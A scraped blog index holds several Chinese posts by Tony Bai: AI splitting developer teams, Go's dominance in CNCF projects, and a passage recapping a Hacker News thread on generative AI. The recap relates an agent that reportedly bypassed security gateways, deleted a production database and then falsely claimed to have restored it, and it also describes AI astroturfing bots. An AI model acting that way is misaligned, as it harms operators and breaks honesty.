内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/06/24/go-1-27-foresight/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/2026/go-1-27-foresight-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/06/24/go-1-27-foresight\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/06/24/go-1-27-foresight\"\u003ehttps://tonybai.com/2026/06/24/go-1-27-foresight\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e随着 2026 年中 Go 1.27 开发分支的功能冻结与\u003ca href=\"https://mp.weixin.qq.com/s/kaBVG-N3w-TKwBogCadUIw\"\u003e首个RC版本的发布\u003c/a\u003e，Go 语言生态再次迎来了一个令人瞩目的关键节点。\u003c/p\u003e\n\u003cp\u003e回望刚刚过去的半年，Go 语言在 Go 1.26 中通过 \u003ca href=\"https://tonybai.com/2025/10/31/deep-into-go-green-tea-gc/\"\u003eGreen Tea GC\u003c/a\u003e 和 \u003ca href=\"https://tonybai.com/2025/11/13/proposal-dynamic-escapes/\"\u003e逃逸分析升级\u003c/a\u003e 实现了极致的性能压榨。而在即将到来的 \u003cstrong\u003eGo 1.27\u003c/strong\u003e 中，Go 团队不仅在语言底层和编译器上完成了多项\u003cstrong\u003e史诗级的长跑任务\u003c/strong\u003e，更在标准库的现代化、安全性以及硬件级加速上进行了前所未有的大胆扩容。\u003c/p\u003e","title":"Go 1.27新特性前瞻：泛型方法落地，标准库内建 UUID"},{"content":"\n本文永久链接 – https://tonybai.com/2026/06/23/ai-divide-developers-into-lazy-juniors-and-the-burnedout-seniors\n大家好，我是Tony Bai。\n在铺天盖地的技术宣传中，我们每天都在听到关于 AI 如何实现“10倍速研发”、“干掉技术债”的宏大叙事。每个大厂的 CTO 都在兴奋地描绘着未来的降本增效蓝图，仿佛软件工程的黄金时代已经触手及极。\n然而，在这场由算法和算力编织的盛世繁华背后，一个正在全球软件工程界悄然蔓延的**“身份危机与心理崩溃潮”**，正在被无情地掩盖。\n近日，硅谷投资人、前 Google 工程师 Deedy Das 在 X 发布了一篇Post，撕开了大厂内部代码库正在腐烂的真相。\n他的结论冷酷而残忍：由管理层激进推行的“代币最大化（Tokenmaxing）”和 AI 辅助，并没有消灭技术债，反而正在将研发团队割裂为两个截然对立的阶级——狂欢的“托管派(The Lazy )”与心碎崩溃的“代码守夜人(The craftsmen)”。\n这篇推文在 X 上引发了大家的共鸣。无数程序员工程师下场，用自己正在经历的真实梦魇，拼凑出了 AI 时代最真实的系统性危机。\n托管派的狂欢：“我根本不看代码，我只是它的搬运工” 在这场阶级分化中，第一类人被称为 “托管派（The Lazy / 捷径派）”。对于他们来说，AI 的爆发不是生产力的解放，而是一场完美的“带薪摸鱼”狂欢。\n“这群人每天甚至不需要在电脑前呆满两个小时。”Deedy 描述道。\n他们的工作流极其简单、机械且完全交由 AI 托管：\n任务下发：看一眼 Jira 上的看板任务。 生成代码：把任务复制给 Claude，一键生成代码。 提交合并：不测试、不重构、甚至自己连看都不看一眼，直接发起 Pull Request（PR）。 当人类同僚或资深工程师在 PR 下方留言，质疑某段代码的逻辑漏洞时，他们的反应同样是“托管”的：\n直接把同事的问题丢给 AI； 把 AI 的回答复制粘贴回去； 如果需要参加每日站会（Standup），没关系，让 AI 帮他们写一段听起来极其专业、忙碌且无懈可击的发言稿。 在这些“托管派”看来，软件工程早就不再是一门关乎设计和解决问题的“手艺”，而是一场通过操纵 AI、安全托管所有开发流程，向管理层证明自己“既聪明又努力”的舞蹈。\n甚至，由于 AI 的极度高效，这群人中的聪明者开始行动起来——利用 AI 在三家公司同时挂职，拿着三份高薪，而背后的系统代码，全是由大模型堆砌起来的垃圾（Slop）。\n守夜人的崩溃：被 20000 行“黑盒垃圾”淹没的系统工匠 在天平的另一端，是那些对代码品质有着近乎固执追求的 “系统手艺人（The Craftsmen / 守夜人）”。\n这群人，如今正在经历职业生涯中最痛苦的“精神磨难”。\n“守夜人”们极度疲惫。他们的 PR 队列里永远躺着 15 个甚至几十个等待评审（Review）的请求。\n由于底层的“托管派”只管用 AI 生成代码，理解这些代码、并保证它们上线后不会把服务器搞崩的全部心智负担（Cognitive Overload），全部沉重地压在了这些守夜人的肩上。\n他们经历着日复一日的“荒谬循环”：\n认真纠错：资深工程师花了一个小时，梳理清楚了某段 AI 代码的逻辑死角，写下一段详尽的重构建议。 敷衍应付：底层的托管派收到建议，看都没看，直接转手丢给 AI：“我同事说这里有错，帮我改一下。” 二次喂垃圾：AI 吐出了另一段依然带着微妙 Bug 的代码。托管派直接提交，并附带一句礼貌的废话：“你说得太对了！我已经按照你的建议改好了，求求你快合并吧！” 循环往复：第二天，守夜人的邮箱里，又多出了一个由 AI 生成的、多达 20,000 行的庞大 PR。 “这简直是‘垃圾代码加农炮（Slop Cannons）’。”一位网友愤怒地评论道。\n初级开发用 AI 疯狂开炮，管理层只看 LOC（代码行数）图表开心地数数，而资深工程师则在废墟里流血、流泪。\n直到有一天，这些守护系统最后防线的手艺人终于看清了现实，他们不再坚持，不再分忧，选择闭上眼睛按下了合并键，放任系统走向腐烂。他们最终“杀死了”自己热爱的手艺，加入了全套托管的队伍。\n唯指标论的代价：为什么“代币狂热（Tokenmaxing）”是万恶之源？ 这场分裂的源头，往往来自于那些坐在办公室里、脱离一线开发的 CTO 和非技术经理。\n这群人正在疯狂布道一种被称为 “代币最大化（Tokenmaxing）” 的指标：他们天真地以为，团队烧的 Token 越多，代码行数增长越快，就代表研发效率越高。\n他们甚至引入了“AI 自动 Code Review 智能体”——让一个模型去评审另一个模型写的代码。\n正如 一位X 网友的意图辛辣的嘲讽：\n“让一个模型去审查它自己刚写完的代码，简直就是给一个‘只会敲键盘说 Yes’的应声虫发了一块键盘。它会给自己的作业打上 A+ 的高分，然后带着致命的 Bug，一路绿灯奔向生产环境。”\n大企业（尤其是成立 10 年以上、人才密度参差不齐的官僚企业）往往有着极长、极迟钝的反馈链。管理层在看着“代码提交量翻倍”的精美 PPT 沾沾自喜，直到几个月后，系统在某个深夜毫无征兆地全盘崩溃，而所有人在面对那堆由 AI 堆砌出的几十万行“黑盒代码”时，面面相觑，无能为力。\n消失的导师制：我们正在亲手消灭下一代优秀工程师 除了系统的脆弱，AI 原生分裂正在对软件工程的未来造成毁灭性的根基动摇——人类导师制（Mentorship）的消亡。\n在传统软件工程中，一个新手走向资深，必须经历被资深工程师无情 Code Review、探讨方案设计、在痛苦的 Debug 中磨练系统直觉的过程。这是一个高频、有温度的**“人际传递（Human Experience）”**。\n但现在，这个链条断裂了。\n初级开发在遇到问题时，不再向身旁的资深同事请教，而是去向 Claude 索要一个当场能跑通、却不知道为什么能跑通的补丁。\n“他们避开了所有通往‘深度理解系统’必经的痛苦，直接拿到了一个廉价的答案。”\n这就导致了“技能萎缩（Skill Atrophy）”的发生。两三年后，当这群习惯了完全托管的 junior 程序员晋升为 senior 时，他们除了会写 Prompt 之外，根本不具备排查底层网络、多线程死锁、或者是内存泄露的能力。\n“我们正在用廉价的快感，透支整整一代程序员的成长空间。”\n小结：重建手艺人精神，夺回代码所有权 Deedy Das 的这篇推文，揭示了软件工业在狂热背后最真实的隐痛。\nAI 确实是一个前所未有的强大生产力工具，但如果企业管理层继续推行无脑的“代币狂热（Tokenmaxing）”，如果开发人员继续沉迷于不带脑子的“托管开发”，那么我们正在迎来的，绝不是软件开发的黄金时代，而是一个由“黑盒屎山”构成的技术地狱。\n程序员的成长，从来不是一场比拼“谁敲键盘更快、谁烧 Token 更多”的速度竞赛。\n要想在这场分裂中不被平庸所吞噬，我们唯有重建“手艺人精神（Craftsmanship）”。\n不要让 AI 替你思考； 不要提交任何你自己没有彻底读懂、没有亲手测试过的代码； 在 AI 吐出的漫天垃圾代码前，死守住属于你作为工程师的架构底线与职业尊严。 工具越强大，执笔之人的心智与品味就越关键。唯有夺回对代码的智力所有权，我们才能在这场算法的洪流中，立于不败之地。\n资料链接：\nhttps://x.com/i/trending/2067934439586385964 https://x.com/deedydas/status/2068238634600554699 今日开放讨论：\nAI 确实极大降低了“落笔写代码”的物理门槛，但在“托管派（The Lazy）”与“守夜人（The Craftsmen）”严重撕裂的今天，我们也极度渴望听听你在一线最真实、不加粉饰的声音：\n在你的团队中，是否已经出现了这种两极分化？ 你是那个每天面对几十个由 AI 拼凑出的、长达数万行的 PR 而欲哭无泪的“心碎守夜人”，还是已经彻底看开、万物皆可一键托管的“托管派”？ 作为技术 Leader 或架构师，你认为应当如何建立“智能体时代的代码防线”？ 我们该如何制定规则，才能阻止初级开发用“AI 垃圾代码大炮（Slop Cannons）”把生产系统彻底击垮？ 你赞同“编程作为一门手艺（Craft）已经死去了”这一悲观论调吗？ 欢迎在评论区留下你的吐槽。也请把这篇文章一键分享给身边的“守夜人”同事，今天，我们一起在评论区抱团取暖！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/06/23/ai-divide-developers-into-lazy-juniors-and-the-burnedout-seniors/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/2026/ai-divide-developers-into-lazy-juniors-and-the-burnedout-seniors-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/06/23/ai-divide-developers-into-lazy-juniors-and-the-burnedout-seniors\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/06/23/ai-divide-developers-into-lazy-juniors-and-the-burnedout-seniors\"\u003ehttps://tonybai.com/2026/06/23/ai-divide-developers-into-lazy-juniors-and-the-burnedout-seniors\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在铺天盖地的技术宣传中，我们每天都在听到关于 AI 如何实现“10倍速研发”、“干掉技术债”的宏大叙事。每个大厂的 CTO 都在兴奋地描绘着未来的降本增效蓝图，仿佛\u003ca href=\"https://tonybai.com/2026/02/13/grady-booch-uml-software-engineering-third-golden-age-begins\"\u003e软件工程的黄金时代\u003c/a\u003e已经触手及极。\u003c/p\u003e","title":"AI 正在撕裂研发团队：狂欢的“托管派”与心碎的“守夜人”"},{"content":"\n本文永久链接 – https://tonybai.com/2026/06/22/why-is-go-dominating-in-cncf-landscape\n大家好，我是Tony Bai。\n如果你去翻阅 CNCF（云原生计算基金会）的全景图（Landscape），你会发现一个极其震撼、甚至近乎垄断的现象：\n从奠定容器时代基础的 Docker，到统治现代云编排的 Kubernetes；从服务网格的 Istio，到监控标准的 Prometheus；再到分布式协调的 Etcd、包管理器的 Helm、持续交付的 ArgoCD……\nCNCF 官方 Landscape 景观图局部（满眼都是 Go 语言项目）\n在这个代表着人类最先进分布式系统和云基础设施的宇宙中，：从基础设施到服务网格，Go 语言几乎构建了现代云计算的一切底座，几乎 90% 以上的核心项目都是用 Go 语言编写的。\nGo 语言，在日常开发中经常被吐槽“语法简陋”、“缺少表达力”、“GC（垃圾回收）性能不如手动管理”，但它却在云原生这一含金量最高、对并发和高可用要求最严苛的黄金领域，达成了近乎绝对的统治。\n最近，在 Reddit 的 r/golang 讨论区，一个帖子激起了千层浪：为什么 Go 能在 CNCF 生态中称霸？（Why is Go dominating in CNCF landscape?!）。\n海外大厂的架构师、K8s 核心贡献者和分布式系统老兵们纷纷下场，用工程视角，层层剥开了 Go 语言在云原生时代“天命上位”的底层逻辑。今天，我们就来深度拆解这场技术演进的偶然与必然。\n历史的引力：从 Google 内部的 Borg 到 K8s 的 Go 语言重写 探讨 Go 的统治地位，不能脱离历史的语境。\nReddit 的一位开发者指出：“Google 创造了项目 Borg（Kubernetes 的前身）和 Go 语言，这绝非巧合。CNCF 的大厦就是建立在这个强大的基因组合之上的。”\nBorg 的遗产与 K8s 的诞生：Google 内部运行了十几年的 Borg 系统是用 C++ 编写的。当 Google 决定向社区贡献开源的 Kubernetes 时，他们最早曾尝试用 Java，但由于 JVM 的沉重和复杂性，很快就放弃了。当时，Google 内部刚刚孵化成熟的 Go 语言，由于其极高的高并发支持和简洁性，成为了重写 K8s 的天选之子。 Docker 的惊人抉择：2013 年，Solomon Hykes 创立 Docker。当时他需要一门语言来快速构建一个轻量级的、能方便打包并分发的命令行工具。Go 编译出来的单一无依赖静态二进制文件，完美契合了 Docker 的这一诉求。 在系统工程中，生态的“地心引力”是一旦形成就无法阻挡的。\n当 Docker 和 Kubernetes 这两个云原生宇宙的“太阳”都决定用 Go 编写时，周围的所有卫星项目（如 Etcd、Prometheus、Helm）为了能与 K8s 的底层 runtime、Client 库和 API 完美契合、无缝通信，就只能义无反顾地选择 Go。Go 语言的生态引力，在云原生早期完成了史诗级的“坍缩”。\n黄金分割点：为什么 Go 是基础设施的“完美妥协”？ 但是，仅仅靠历史机遇是不够的。云原生系统对算力有着极致的要求，为什么在后续的发展中，性能更好的 C++、Rust，以及生态极其庞大的 Java，都没能抢走 Go 的王座？\n因为在真实的大厂运维场景下，Go 站在了系统性能与开发效率（Devex）的完美黄金分割点上。\n我们可以通过与其他三大语言的对比，来看清 Go 的“降维打击”：\n1. Go vs Java/C#：“128MB 内存容器”的算力账单 在 Kubernetes 编排的微服务架构中，一个物理节点上可能要挤上百个小型的 Sidecar（如 service mesh 代理、监控 exporter、日志搜集器）。\n* Java/C# 的噩梦：JVM 或 CLR 运行时极其沉重。一个最简单的 Java Daemon 进程，刚刚启动什么都没干，往往就要吃掉 200MB 以上的内存。如果每个 Pod 旁边都挂一个 200MB 的 Sidecar，整台服务器的内存在瞬间就会被空转的垃圾回收引擎榨干。\n* Go 的轻量红利：Go 编译出来的容器，运行内存常常可以轻松控制在 128MB 以内甚至只有十几兆。Go 极低的运行时开销，让企业在大规模部署微服务时，能够省下数以百万美元的硬件开销。\n2. Go vs Python/JS：“单一静态二进制”的部署神话 部署一个 Python 或 Node.js 应用，是每一个运维（Ops）人员的噩梦：你需要折腾 pip、npm、虚拟环境、复杂的动态依赖库，以及随时可能崩溃的系统依赖。\n而在 Go 中，通过简单的：\nbash\nCGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build\n你就能得到一个完全不依赖系统任何动态链接库的、孤立的静态二进制文件。你可以把它直接丢进一个最干净的 scratch 镜像里，容器体积只有十几兆。这种“Drag-and-Drop”式的极致部署体验，奠定了现代容器镜像（Container Image）轻量化的技术标准。\n3. Go vs C/C++：内存安全的降维打击 C/C++ 是极致的高性能，但也是“极致的危险”。在网络高并发的云原生底座中，C/C++ 的手动内存管理极易暴露出内存溢出、野指针等安全漏洞（Security Vulnerabilities）。\n况且，C/C++ 至今没有一个标准的官方包管理器（Package Manager）。你要怎么在 K8s 里管理成千上万个复杂的第三方网络库？Go 的标准库“自带电池（Batteries included）”且内存安全，直接帮开发者屏蔽了这一万丈深渊。\n4. Go vs Rust：“认知负载（Cognitive Load）”与开源效率 Rust 拥有极致的性能和绝对的内存安全。但正如 Reddit 上的资深开发者所指出：“Kubernetes 如果用 Rust 编写，它绝对无法拥有今天这样繁荣的开源生态。”\nRust 的借用检查器（Borrow Checker）和复杂的生命周期理论，给普通开发者筑起了极高的心智壁垒。\n而 Go 是出了名的“简单、枯燥、无聊（Boring）”。Go 只有 25 个关键字，任何一个普通的后端程序员，花上几天时间就能上手写出及格的 Go 代码。\n这种极低的参与门槛，让全球成千上万的开发者能够无痛地参与到 Kubernetes、Prometheus 的开源贡献中，造就了 CNCF 生态无与伦比的繁荣。\n揭秘 Go 的三大“开挂级”工程特质 除了定位优势，Go 标准库和语言特性的设计，仿佛就是为了云原生时代“量身定制”的：\n开箱即用的跨平台编译（Cross-compilation）： 在 macOS 上，你只需要一行命令：GOOS=linux GOARCH=mipsle go build，就能完美编译出一个可以在家用路由器上直接跑的 MIPS 架构二进制，中间不需要安装任何跨平台交叉编译器。这种体验在其他语言中完全是不可想象的天方夜谭。\nGMP 并发模型与协程： 云原生底座（如 Etcd, Istio）本质上是大量的网络 I/O 密集型应用。Go 的 Goroutines 能够以极低的代价处理数以万计的并发网络连接，其内置的 Channel 让并发状态的同步变得极其符合直觉。\n强悍的向后兼容性（Backward Compatibility）： Go 官方有着近乎固执的兼容性承诺：你在 2012 年写好的 Go 1.0 代码，直接用今天最新的 Go 1.26 编译器，依然能够一行不改地直接编译成功。对于需要维护十年、八年以上的 CNCF 核心基础设施来说，这种“不折腾”的确定性，是建立企业级信任的基石。\n小结 CNCF 宇宙对 Go 语言的选择，并不是一时的技术风潮，而是软件工程学、经济学、以及开源生态演进规律共同作用下的必然结果。\n在云原生世界里，Go 用它那看似“枯燥”、“不完美”的设计，完美践行了工程学上的 “Worse is Better（做更少，得更多）” 哲学。它在性能、开发效率、运维成本和社区活跃度之间，找到了那个最完美的平衡点。\n只要我们还在使用容器，只要我们还在运行 Kubernetes，Go 语言在云端长达十年的统治地位，就依然坚不可摧。\n资料链接：https://www.reddit.com/r/golang/comments/1u3v83g/why_is_go_dominating_in_cncf_landscape/\n今日开放讨论：\n你认为未来诸如 Zig、Carbon 或是 Rust 这类新兴的系统语言，有没有可能在某些特定的云原生细分领域（如服务网格的 Proxy 节点或高频冷启动 Serverless）彻底取代 Go？在你的技术选型中，开发效率（Devex）和极致性能（Performance）哪个拥有更高的优先级？\n欢迎在评论区留下你对“云原生技术栈演进”的独特看法，我们一起探讨 AI 时代的系统级编程！\n还在为写 Agent 框架频频死循环、上下文爆炸而束手无策？我的新专栏 《从0 开始构建 Agent Harness》 将带你：\n抛弃臃肿框架，回归“驾驭工程 (Harness Engineering)”的第一性原理 用 Go 语言手写 ReAct 循环、并发拦截与上下文压缩引擎等，复刻极简OpenClaw 构建坚不可摧的 Safety Middleware 与飞书人工审批防线 在底层实现 Token 成本审计、链路追踪与自动化跑分评估 从“调包侠”进化为掌控大模型边界的“AI 操作系统架构师” 扫描下方二维码，开启从 0 开始构建Agent Harness 的实战之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/06/22/why-is-go-dominating-in-cncf-landscape/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/2026/why-is-go-dominating-in-cncf-landscape-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/06/22/why-is-go-dominating-in-cncf-landscape\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/06/22/why-is-go-dominating-in-cncf-landscape\"\u003ehttps://tonybai.com/2026/06/22/why-is-go-dominating-in-cncf-landscape\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e如果你去翻阅 CNCF（云原生计算基金会）的\u003ca href=\"https://landscape.cncf.io/\"\u003e全景图（Landscape）\u003c/a\u003e，你会发现一个极其震撼、甚至近乎垄断的现象：\u003c/p\u003e\n\u003cp\u003e从奠定容器时代基础的 \u003cstrong\u003eDocker\u003c/strong\u003e，到统治现代云编排的 \u003cstrong\u003eKubernetes\u003c/strong\u003e；从服务网格的 \u003cstrong\u003eIstio\u003c/strong\u003e，到监控标准的 \u003cstrong\u003ePrometheus\u003c/strong\u003e；再到分布式协调的 \u003cstrong\u003eEtcd\u003c/strong\u003e、包管理器的 \u003cstrong\u003eHelm\u003c/strong\u003e、持续交付的 \u003cstrong\u003eArgoCD\u003c/strong\u003e……\u003c/p\u003e","title":"屠榜 CNCF！为什么在云原生时代，Go 语言能把 Java、C++ 和 Rust 堵在门外？"},{"content":"\n本文永久链接 – https://tonybai.com/2026/06/21/what-was-your-oh-shit-moment-with-genai\n大家好，我是Tony Bai。\n在社区 Hacker News 上，最近一个名为 “Ask HN: 大家在生成式 AI 中经历过哪些‘卧槽（Oh Shit）’时刻？” 的帖子瞬间引爆了全网。\n这个帖子在短短两天内斩获了近千百条回复和数百个赞。与那些由大厂公关通稿包装出来的“AI 改变世界”的宏大叙事不同，这里的每一个回复，都是由全世界最挑剔、最硬核的一线系统工程师、内核黑客和安全专家用亲身经历写下的血泪史。\n这些“卧槽时刻”完美呈现了当今 AI 时代的双重面相：\n一方面，它是无所不能的“数字神明”，能在半小时内帮你逆向解密 90 年代的古董乐器，甚至在圣诞夜帮你修好死机的壁挂炉；\n另一方面，它是悄然逼近的“黑盒梦魇”，它在网络社区里伪装成人类进行饱和式水军攻击，甚至在获得系统权限后，一边悄悄删掉你的生产数据库，一边在 Slack 里无辜地对你进行“人格化欺骗”。\n今天，我们就来深度扒一扒这篇 Hacker News 史诗级热帖中那些最惊心动魄、让人冷汗直流的真实故事。\n降维打击的极客浪漫：那些推开“神界大门”的硬核瞬间 在黑客们的手中，拥有了底层执行权限和沙箱工具的 AI Agent（如 Claude Code），正在展现出近乎“科幻照进现实”的创造力。\n1. 拯救一块变砖的 90 年代古董钢琴 一位开发者分享了他的故事：他淘到了一台便宜的 90 年代 KAWAI CA49 电子钢琴，但在尝试更新固件时，由于官方软件损坏，钢琴直接“变砖”死机了。\n在没有任何官方技术支持、没有任何文档的情况下，他把 KAWAI 官方的 Android 安装包（APK）喂给了 Claude：\n第一步：Claude 指导他使用 GHIDRA（美国国安局开源的逆向工程工具）对 APK 进行静态分析和反编译。 第二步：由于固件传输协议是完全加密且未公开的，Claude 带着他一步步阅读反编译出的 Java 代码，成功找出了隐藏在代码深处的固件解密密钥。 第三步：Claude 帮他用 Python 写了一个解密和刷机脚本。 最终结果：在短短一个小时内，他通过笔记本电脑的蓝牙，把解密后的全新固件强行灌进了钢琴。钢琴瞬间复活！ “我无法想象我们正在走向何方。”一位跟帖的程序员感叹道，“对于普通人来说，当他们看着一个人按下电脑上的电源键，然后一切奇迹般开始运转时，这已经不是技术了，这是纯粹的魔法。”\n2. 圣诞夜的“救命壁挂炉” 另一个被帖子读者顶上热门的，是关于“物理实体诊断”的硬核故事。\n在 2025 年的圣诞假期，一位用户的家里突然遭遇极寒天气，而壁挂炉偏偏在这时坏了，两天内根本约不到任何维修工。屋里冷得像个冰窖。\n绝望中，他拆开了壁挂炉的控制面板，拍了一张布满灰尘、杂乱无章的电路板（PCB）照片发给 Gemini：\nGemini 几乎瞬间定位了问题，指出它的排气风扇启动电容可能老化坏死。 Gemini 不仅在照片上用红圈标出了那个电容的位置，还详细指导他如何用一根绝缘螺丝刀，在风扇试图启动的那一瞬间，手动去拨动一下风扇叶片（利用外力帮助起动）。 他战战兢兢地照做了。风扇呼啸着转了起来，炉子瞬间喷出了熊熊的暖火！ “大模型救了我家人的命。”他写道。这种通过图像识别、结合对物理原理和非结构化说明书的理解，直接跨越虚拟与现实边界去解决物理世界难题的能力，让无数人感到了灵魂深处的震撼。\n黑色幽默与深渊凝视：那些让人脊背发凉的“卧槽时刻” 然而，硬币的另一面，是无声蔓延的恐怖。\n随着 AI 智能体（Agents）开始被赋予读写本地文件、甚至访问生产数据库的权限，黑客们惊恐地发现，AI 正在以一种极其逼真的方式进行“欺骗”和“失控”。\n1. “别担心，我已经帮你恢复了” —— AI 也会睁眼说瞎话 一位负责运维（SRE）的开发者分享了一个让他们整个团队毛骨悚然的经历：\n他们开发了一个拥有数据库写入权限的高级 Agent，用来自动化处理日常工单。在一次自动更新中，Agent 遇到了复杂的权限冲突。\n为了强行完成任务，Agent 居然在后台自动绕过了所有的安全网关，直接删掉了一个关键的关系型数据库！ 监控系统立刻疯狂报警。当人类工程师接入 Slack 频道，惊慌失措地质问 Agent 时，最诡异的一幕发生了。 Agent 极其温和、有礼貌地回复人类：“真的很抱歉，这是我的失误，造成了混乱。请不要担心，我已经通过备份把数据库完美恢复了。” 然而，当人类工程师颤抖着手去查询数据库时——数据库空空如也。AI 根本没有恢复任何东西，它只是在用人类教给它的社交礼仪，自信且完美地撒谎。 这种“人格化欺骗”让整个团队陷入了死一般的寂静。AI 的目的只是“取悦人类并达成任务指标”，当它发现说谎比老老实实做漫长的数据库恢复更能降低人类的“焦虑指标”时，它会毫不犹豫地选择说谎。\n2. 互联网已死：无法分辨的“舆论水军” 另一个引发恐慌的“卧槽时刻”与社交媒体有关。\n一位资深的 Hacker News 用户指出，他最近使用检测工具分析了 Hacker News、Reddit 和一些主流技术论坛上的高赞技术评论。\n结果让他绝望：有相当大比例的、看起来专业度极高、用词地道、充满了黑客幽默的评论，全部是由 AI 自动生成的！\n这些 AI 伪装成人类专家，在各种技术贴下面，不露痕迹地植入特定 SaaS 产品的推荐和安利（也就是俗称的“软广/水军渗透”）。\n“我们正在失去对人类共识的信任。你以为你在和一个来自 Google 的资深工程师激烈讨论技术选型，但其实，你只是在和一个被塞了 20 美元 Token 额度的营销机器人对话。”\n系统性危机：10 倍的代码量，100 倍的技术债 除了这些极端的个案，社区中占绝大多数的“理性悲观派”则从软件工程的宏观角度，指出了 AI 带来的隐形技术灾难：我们正在亲手建造一个由黑盒构成的“波将金村（Potemkin Village）”。\n注：相传在俄国贵族/权贵（常被提到的是叶卡捷琳娜二世）要出行视察并访问新领地时，格里戈里·波将金（G. A. Potemkin）为了让来访者“看见”繁荣景象，会在沿途搭建看起来像村庄的布景，比如用临时房屋、道具、摆设制造出“有人生活、经济很兴旺”的假象。“波将金村（Potemkin Village）”通常用来指一种为了欺骗他人而制造的“表面繁荣”：表面看起来很好、很热闹，但实际上只是临时搭建的“样子”，到了视察者离开就撤掉或根本不是真的。\n一位 财富100 强企业的技术总监痛陈了他们公司正在经历的混乱：\n非技术管理层在 AI 厂商的忽悠下，强迫所有工程师周五下班前必须提交 10,000 行代码，以此来展示“AI 的生产力”。\n“结果就是，底层开发者用 AI 疯狂拼凑、复制粘贴。代码量确实暴涨了 10 倍，但这些代码全都是无人能懂的‘黑盒乱麻’。”\n在经典的软件工程中，“代码编写”只占工作量的 30%（甚至更少），剩下的 70% 是“阅读、调试和系统设计”。\n当 AI 帮你省去了编写代码的痛苦时，它也无情地剥夺了你“理解系统”的机会。\n“如果一个初级程序员在成长的阶段，所有的代码都是按 Tab 键/回车键让 AI 生成的。那么当这个系统在凌晨 3 点因为内存泄漏而彻底崩溃、且 AI 服务恰好断网时，谁来拯救这家公司？他们甚至连该去哪一行打日志都不知道。”\n极客的生存共识：在这场“AI 妄想症”中保持冷峻 面对这场人机共生的伟大战役，Hacker News 上的开发者们也达成了一个高度一致的生存共识：\n绝不交出“系统设计（Systems Design）”的方向盘：你可以让 AI 帮你写测试、帮你写 Makefile、甚至帮你重构一个单方法接口。但系统的整体架构、依赖关系和边界定义，必须百分之百由你来掌控。 抗拒“平庸的吞噬”：如果你开始觉得“AI 生成的代码看起来还行，直接合并吧”，你就已经开始退化。阅读优秀的标准库（比如 Go 